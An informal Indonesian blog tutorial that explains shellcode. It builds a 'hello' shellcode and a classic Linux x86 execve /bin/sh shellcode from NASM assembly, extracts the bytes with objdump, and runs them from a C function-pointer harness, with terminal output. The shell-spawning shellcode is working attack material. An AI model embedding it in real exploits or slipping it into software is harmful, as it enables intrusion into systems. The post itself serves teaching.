Artikel Terkini

Monday, September 10, 2012

shellcode exploite db

0 comments
Oke di postingan kali ini, mari kita sedikit review tentang apa itu shellcode dan kenapa formatnya aneh gak terbaca seperti itu (ini contoh potongan shellcode: \xeb\x19\x31\xc0). Gara-gara ngebuka halaman shellcode exploite db jadi kepikiran untuk ngebuat postingan ini hehe. Nah sebenarnya apa itu shellcode dan kenapa format stringnya geje seperti itu akan dibahas secara gamblang ala saya disini haha. Gak usah takut bacanya, karena penulis bahasanya sangat tidak formil jadi mestinya bisa mudah dimengerti ahahah…
Shellcode adalah code yang diberikan kepada prosesor komputer untuk mengeksekusi perintah yang hanya dimengerti komputer. Karena mesin cuma mengerti angka 0 atau 1, sebenarnya instruksi/code ke mesin dengan menggunakan binary 0 dan 1, tetapi per 8 digit binary dapat direpresentasikan sebagai 1 byte dengan code hexa, dan juga tentu saja lebih mudah dipahami manusia ketimbang kita input angka 0 dan 1 sebanyak 8x lipat barisan hexa hahah. Bagi yang suka nge-heker pasti tau shellcode itu berbeda dengan exploit.. Kalau exploit adalah satu kesatuan sistem penghancur, sedangkan payload adalah sesuatu yang dibawa dalam exploit.
Analoginya kalau seorang penyusup mau membobol datacenter nih.. ceritanya dia bawa botol aer minum sama kertas bertuliskan ‘Siram’. Yang dimaksud exploit adalah satu kesatuan orang + botol air minum + kertas bertuliskan “Siram”. Payload exploitnya adalah botol air minum. Shellcodenya adalah instruksi “Siram” nya. Jadi exploit ini anggaplah akan masuk ke datacenter membawa botol air. Sesampai di datacenter ketemu sama orang datacenternya (dalam hal nyatanya: prosesor komputer -yang memproses instruksi-) dan si orang kita itu ngasihin kertas (shellcode) bertuliskan “Siram”. Sehingga jebol lah perangkat di datacenter di siramin. Ahihihii..
Jadi kalau kita mau nge-heker yang paling susah dibuat itu shellcode-nya ya? Oh justeru yang paling susah dibuat tuh exploitnya, karena harus kita bundle dengan payload dan shellcode. Selain itu si orang yang bawa botol air dan kertas (dalam contoh tadi) harus kita rancang juga biar dia berlakon sesuai rencana a.k.a programming maksud saya. Pertama mungkin program si doi buat loncat via jendela, masuk ke dalam gedung harus cari posisi ruang datacenter (algoritmia mencari datacenter hahah), kalo di lantai 1 ga ada, harus cari lift atau tangga, kalau udah ketemu gimana buka pintu datacenter, dsb.
Dan pada postingan kali ini, pembahasan dibatas hanya scope shellcode sehingga diharapkan bisa paham secara gamblang dulu tentang shellcodenya. Semoga ada waktu untuk ngebahas exploit dan payload.. Seremmm.. yang pasti liat source buatan orang aja ah.. ahahahah…
Ada yang harus kita ketahui terlebih dahulu tentang register di prosesor yang tugasnya mengekusi instruksi (apapun) yang diberikan kepadanya. Register ini bernama EIP (Extended Instruction Pointer kalo gak salah kepanjangannya hahah). Nah kasarnya yang akan kita lakukan kedepan, register EIP ini yang harus kita overwrite dengan isi shellcode kita. Dalam analogi di atas tadi, artinya kita harus cari orang datacenter dan berikan kertas bertuliskan “Siram” tadi kepadanya. Karena semua instruksi dia yang akan eksekusi.
Dalam programming, seluruh “data” program yang berada di memori yang alamatnya tersimpan di EIP dianggap “code”. Sedangkan lainnya adalah “data” biasa (variable, parameter, argumen, dsb). Nah program C dibawah ini adalah program yang variable “str” nya akan ditunjuk oleh EIP untuk dieksekusi, karena variable str telah menjadi sebuah fungsi setelah dicasting dengan pointer to function dengan (void (*)(void)).
1#include <stdio.h>
2char str[] = "\x00\x00\x00\x00\x00";
3int main(void) {
4        ((void (*)(void))str)(); // str()
5        return 0;
6}
Program diatas jika dicompile dan dijalankan akan memiliki data str = “\x00\x00\x00\x00\x00″ yang berada di alamat memory tertentu. Sedangkan “((void (*)(void))str)();” akan mengisi EIP dengan value dari alamat memory variable str berada. Sesaat kemudian EIP menunjuk alamat memory tersebut untuk dieksekusi prosesor. Jika hexa “\x00\x00\x00\x00\x00” kita benar, maka akan mendapatkan hasil yang kita inginkan. Untuk itu mari sekarang kita buat hexa a.k.a shellcodenya.
PRINTOUT: HELLO – SHELLCODE
Untuk membuat shellcode dengan menggunakan bahasa assembly. Ini adalah program yang akan memunculkan tulisan ‘hello’ kemudian exit:
Hello.asm
Hello.asm
Save dengan nama hello.asm kemudian kompile dengan NASM akan menghasilkan file object hello.o. Setelah itu link-kan object file dengan executable file bernama apa saja. Jadi deh.. Silahkan coba dieksekusi…
01inan@eniac:~/Desktop/shellcode$ nasm -f elf hello.asm #akan menghasilkan file 'hello.o'
02inan@eniac:~/Desktop/shellcode$ ld -o hello hello.o  #linking obj file 'hello.o' ke file binary bernama 'hello'
03inan@eniac:~/Desktop/shellcode$ ./hello #eksekusi 'hello'. test aja...
04helloinan@eniac:~/Desktop/shellcode$
05inan@eniac:~/Desktop/shellcode$ objdump -d hello
06 
07hello:     file format elf32-i386
08 
09Disassembly of section .text:
10 
1108048060 :
12 8048060:   eb 19                   jmp    804807b
13 
1408048062 :
15 8048062:   31 c0                   xor    %eax,%eax
16 8048064:   31 db                   xor    %ebx,%ebx
17 8048066:   31 d2                   xor    %edx,%edx
18 8048068:   31 c9                   xor    %ecx,%ecx
19 804806a:   b0 04                   mov    $0x4,%al
20 804806c:   b3 01                   mov    $0x1,%bl
21 804806e:   59                      pop    %ecx
22 804806f:   b2 05                   mov    $0x5,%dl
23 8048071:   cd 80                   int    $0x80
24 8048073:   31 c0                   xor    %eax,%eax
25 8048075:   b0 01                   mov    $0x1,%al
26 8048077:   31 db                   xor    %ebx,%ebx
27 8048079:   cd 80                   int    $0x80
28 
290804807b :
30 804807b:   e8 e2 ff ff ff          call   8048062
31 8048080:   68 65 6c 6c 6f          push   $0x6f6c6c65
32 8048085:   77 6f                   ja     80480f6
33 8048087:   72 6c                   jb     80480f5
34 8048089:   64                      fs
Setelah itu keliatanlah hexa dump yang bagian tengah itu.. ya itu lah shellcode kita. Sedangkan code yang berisi instruksi secara manusiawi pada kolom kanannya. Sehingga shellcode untuk stdout ‘hello’ adalah berurut dari atas sampai bawah (ki-ka) plus ditambah pemisah “\x” (format hexa) adalah seperti dibawah ini:
\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f
Coba copy paste shellcode ini ke program C  di atas, kemudian compile dan jalankan.. pasti akan ada stdout “hello” di output programnya hehehe…
“THE SHELL” – SHELL CODE
Sepertinya kurang asik kalau shellcode yang dihasilkan gak ada interaksi dengan kita atau not in our control… Nah shellcode yang paling populer adalah mengoverwrite EIP untuk mengeksekusi instruksi memanggil binary /bin/sh atau shell sejenisnya. Inilah asal muasal kenapa bernama shell code a.k.a “kode untuk shell”. Mari buat lagi dengan menggunakan assembler.. Pada sistem linux, system call yang bertugas mengeksekusi suatu executable file adalah execve() dengan format sebagai berikut:
int execve(const char *filename, char *const argv[], char *const envp[]);
Dalam assembler execve() direpresentasikan dengan interrupt no.11 (0xb). Sehingga pada register prosesor:
  • Kasarnya formatnya kek gini –> EAX (EBX, ECX, EDX) sama ‘kan dengan format syscall execve() di atas?
  • EAX: int no 11 = 0xb
  • EBX: sebagai parameter ke-1 berisi const char “bin/sh”
  • ECX: sebagai parameter ke-2 bertipe array of string, {“/bin/sh”,NULL}
  • EDX: sebagai parameter ke-3 NULL (envp[] gak akan kita gunakan)
Sehingga seperti inilah kode assemblernya:
Shell.asm
Shell.asm
Kalo liat source Shell.asm diatas, ada push 0x68732f2f itu apa hayoo.. Hehe.. itu string untuk “hs//” dan yang satunya lagi “nib/” dibalik karena ini stack atau tumpukan… Coba aja konversi hexa ke ASCII heheh.. Kok “/” nya dua kali? Sebenarnya biar cukup 4 byte alokasi dan lagian ga ada bedanya kok eksekusi /bin/sh vs /bin//sh (coba aja). Nah setelah itu di dump seperti cara sebelumnya..
01inan@eniac:~/shellcode$ objdump -d shell
02 
03shell:     file format elf32-i386
04 
05Disassembly of section .text:
06 
0708048060 :
08 8048060:   31 c0                   xor    %eax,%eax
09 8048062:   31 db                   xor    %ebx,%ebx
10 8048064:   31 c9                   xor    %ecx,%ecx
11 8048066:   31 d2                   xor    %edx,%edx
12 8048068:   50                      push   %eax
13 8048069:   68 2f 2f 73 68          push   $0x68732f2f
14 804806e:   68 2f 62 69 6e          push   $0x6e69622f
15 8048073:   89 e3                   mov    %esp,%ebx
16 8048075:   50                      push   %eax
17 8048076:   53                      push   %ebx
18 8048077:   89 e1                   mov    %esp,%ecx
19 8048079:   31 d2                   xor    %edx,%edx
20 804807b:   b0 0b                   mov    $0xb,%al
21 804807d:   cd 80                   int    $0x80
Nah… didapatkanlah shellcode untuk spawn shell adalah seperti ini:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
Saya rekayasa lagi source program C di bagian atas posting ini (tinggal paste-in shellcode ini) sehingga source codenya menjadi seperti ini:
1#include <stdio.h>
2char str[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
3int main(void) {
4        ((void (*)(void))str)(); // str()
5        return 0;
6}
Kompile dan jalankan..
1inan@eniac:~/Desktop/shellcode$ gcc -o code-exec code-exec.c
2inan@eniac:~/Desktop/shellcode$ ./code-exec
3$ id
4uid=1000(inan) gid=1000(inan) groups=1000(inan),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare)
5$ pwd
6/home/inan/Desktop/shellcode/
7$ exit
8inan@eniac:~/Desktop/shellcode$
Spawn a shell dengan sempurna! Berarti shellcode kita \x31\xc0…blablabla…\xcd\x80 emang benar hehe. Semoga bermanfaat…

Leave a Reply